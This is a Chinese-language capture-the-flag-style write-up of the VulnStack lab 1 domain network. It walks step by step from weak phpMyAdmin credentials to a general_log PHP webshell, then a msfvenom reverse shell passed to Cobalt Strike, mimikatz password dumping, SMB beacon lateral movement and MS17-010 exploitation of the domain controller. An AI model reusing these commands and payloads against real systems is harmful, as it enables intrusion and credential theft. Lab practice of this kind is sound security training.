VulnStack靶场(一)
0x000环境搭建
靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
攻击机kali:192.168.107.129
Win7:192.168.107.130
192.168.52.143
Win Server 2003:192.168.52.141
Win Server 2008:192.168.52.138
拓扑图如下:
0x001信息收集
nmap扫描
nmap -p 1-65535 -Pn -sC 192.168.107.130 //-Pn 不进行ping -sC使用默认类别的脚本进行扫描
发现开了80和3306端口
访问为phpStudy
的探针页面
dirsearch
发现phpMyadmin
和一个beifen.rar
是一个yxcms
由于前面扫出了phpMyadmin
且是phpStudy
搭建的,可能存在默认密码为root/root
,所以先放下这个站点去尝试phpMyadmin
0x002漏洞利用
一、phpMyadmin
通过弱口令root/root
进入后台
select @@basedir; //查询路径
show global variables like '%secure%'; //查看secure*值
此处secure_file_priv
为NULL
,所以我们不能通过into outfile
来getshell
利用日志getshell
show global variables like '%general%'; //查看general*值
为OFF,(ps:此处路径可记下用于到时候getshell
后还原)
set global general_log=on; //开启日志
set global general_log_file='C:\\phpstudy\\www\\indexx.php'; //设置日志存放文件,注意是‘\\’,也可用‘/’
select '<?php eval($_POST["H"]);?>' //执行语句,会写入我们设置的indexx.php中
蚁剑连接
二、yxcms
信息泄露
在beifen.rar
中找到后台地址/index.php?r=admin
和账号密码admin/123456
后台getshell
登录后台,漏洞位置在:前台模板——管理模板文件——新增
在beifen.rar
中找到网站模板路径,蚁剑连接
后台getshell(二)
漏洞位置在:sql执行
方法和利用日志getshell
一样
0x003后渗透
一、信息收集
本机信息收集
whoami | whoami/all ////查询账号权限 | sid值
ifconfig /all //查询网络、网卡相关信息
hostname //系统的主机名称
systeaminfo //查询系统信息,补丁安装情况
net user //查看用户
tasklist | tasklist /svc //查看进程
arp -a //列出本网段内所有活跃的IP地址
route print //打印路由表
...
查看进程,查看杀软存在与否
域内信息收集
net view /domain //查询有几个域, 查询域列表
net time /domain //使计算机的时钟与另一台计算机或域的时间同步。
net config workstation //显示工作站运行的相关信息
net group /domain //获得所有域用户组列表
net user /domain //获得所有域用户列表
nslookup xxx
...
如果工作站域(Workstation domain
)为workgroup
则代表不存在域环境,若是报错:发生系统错误 5,则存在域,但该用户不是域用户,其中登录域(Logon domain
) 表明当前登录的用户是域用户
由图得知,此处域为GOD
且当前登录用户为域用户
二、MSF与CS联动
MSF
或CS
生成一个木马(目标无杀软,故不用作免杀),此处我选择MSF
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.107.129 LPORT=6666 -f exe > ./csrsss.exe
接受到会话
派生给CS
CS
新建一个新监听
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.107.129 //CS的ip地址
set lport 33060 //CS的监听端口
set session 1 //meterpreter的会话
set DisablePayloadHandler true //MSF默认本地生成一个新监听,true告诉MSF我们已经有会监听话了
run 或者 exploit
cs接收到会话
Bypass UAC
getsystem
利用CS
的mimikatz
logonpasswords
抓取密码
使用CS
自带模块或者使用Ladon
Ladon 192.168.52.0/24 OnlinePC //多协议探测存活主机 (IP、机器名、MAC地址、制造商)
Ladon 192.168.52.0/24 PortScan //扫描C段端口
Ladon 192.168.52.0/24 OSscan //多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)
...
更多关于Ladon用法参考:http://k8gege.org/Ladon/
结合前面可知192.168.52.138
为DC,192.168.52.141
为域内主机
两台都开了445
端口
SMB Beacon
简介:SMB Beacon 使用命名管道通过父 Beacon
进行通信。这种点对点通信与同一主机上的信标一起工作。它也适用于整个网络。Windows 将命名管道通信封装在SMB 协议
中。因此,名称,SMB Beacon
SMB beacon的工作流程:
使用条件
1、带有 SMB Beacon 的主机必须接受端口 445
上的连接。
2、您只能链接由同一个 Cobalt Strike实例管理的信标。
创建一个SMB listener
在主会话上右键选Spawn
选择刚刚创建的监听生成一个SMB会话
选择刚刚生成的SMB监听
和SMB会话
再用相同方法得到域控DC
Token 窃取
三、MS17_010
添加路由、设置socks代理
route add 192.168.52.0/24 1 //设置路由
route print //打印路由
use auxiliary/server/socks_proxy
set VERSION 4a //这里我选4a
set SRVPORT 9999 //设置端口
run
HOST
默认为0.0.0.0
,设置/etc/proxychains.conf
的与这里一致
curl
测试一下,成功
使用ms17_010
模块
use exploit/windows/smb/ms17_010_psexec
set rhost 192.168.52.141 //目标ip
set lhost 192.168.107.129 //监听ip
set lport xxxx //默认4444
set payload windows/meterpreter/bind_tcp //使用正向连接
run
收到会话
总结:由于本环境其是用域管理员账号登录的,导致我们抓取到了域管理员账号密码,还有win7(192.168.52.143)
应该是直接访问不了域控win2008 192.168.52.138
的,应该是限制没做好,使得我们能很快的就拿下了域控DC。MSF
里面的ms17_010
模块在使用中会存在很多因素影响,例如:网络、msf模块、环境等等。